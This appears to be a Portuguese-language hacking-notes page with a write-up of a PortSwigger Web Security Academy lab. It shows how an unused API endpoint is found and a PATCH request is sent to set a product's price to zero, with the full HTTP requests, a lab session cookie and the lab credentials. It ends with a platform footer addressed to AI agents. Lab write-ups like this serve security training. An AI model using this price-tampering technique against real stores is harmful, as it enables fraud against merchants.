> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Descoberta e exploração de um endpoint de API não utilizado

Anotações sobre Descoberta e exploração de um endpoint de API não utilizado para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.

### Encontrando e explorando um endpoint de API não utilizado

O objetivo deste laboratório é operar um endpoint de API oculto para comprar um **Jaqueta de Couro Leve l33t** sem fundos suficientes. / A autenticação é feita com as seguintes credenciais:

* **Usuário**: wiener
* **Senha**: peter

Após fazer login, o saldo da conta é **$**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a706883d9a1335e46284274368994c49e448c4a%2F%7BDEF4CD5F-D9A7-4C30-8041-0B2E0557AC4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análise do comportamento da aplicação

Ao consultar o produto, a aplicação envia em segundo plano uma solicitação de API para recuperar seu preço.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-641379719a9d2d896f06f121d1be6a0b1506b4d0%2F%7BA8665895-7AA4-4251-A8EC-A5D903C7E446%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Solicitação usada para exibir o preço**

```bash
GET /api/products/1/price
```

**Resposta do servidor**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 21 restantes em estoque, compre rápido! &#x1F525;"
}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea611cf17340ea2d34820ee485bd0385939a1631%2F%7B6A32BFEB-5926-4FC0-99C5-0073ABF50169%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Identificação dos métodos HTTP disponíveis

Um **OPTIONS** a solicitação é enviada para identificar os métodos permitidos neste endpoint.

**Solicitação OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Resposta**

O servidor indica que os seguintes métodos são permitidos:

* GET
* PATCH

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e7b6c8d4304a2d2a5cc7ec549006784770af16f%2F%7B7432F854-7031-4986-A3C4-F3571D836381%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Isso sugere que é possível **modificar** alterar o preço do produto por meio de uma solicitação PATCH.

#### Modificação do preço via PATCH

Em seguida, tentamos atualizar o preço do produto enviando uma solicitação PATCH com um corpo JSON.

**Solicitação PATCH**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Resposta do servidor**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffe28488da1adc63eca98b4a29169d9e380fb79d%2F%7B96F4EFE9-2A36-4156-B0BC-1FAD266B378D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O preço do produto agora está definido em **$**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ea8fa436db739c0df99ac89d0d4979974d74a7e%2F%7B75F8D4E9-2132-4379-88D1-2FCD5BB1CBF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Compra do produto

Depois que o preço é alterado, é possível comprar o **Jaqueta de Couro Leve l33t** apesar da falta de crédito na conta, o que permite validar o laboratório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fd22f6c6e13246d4c35188988c6b095be062ff6%2F%7B6CA3D3BD-1AB6-4BDD-B2FC-9EE6B6BA028E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
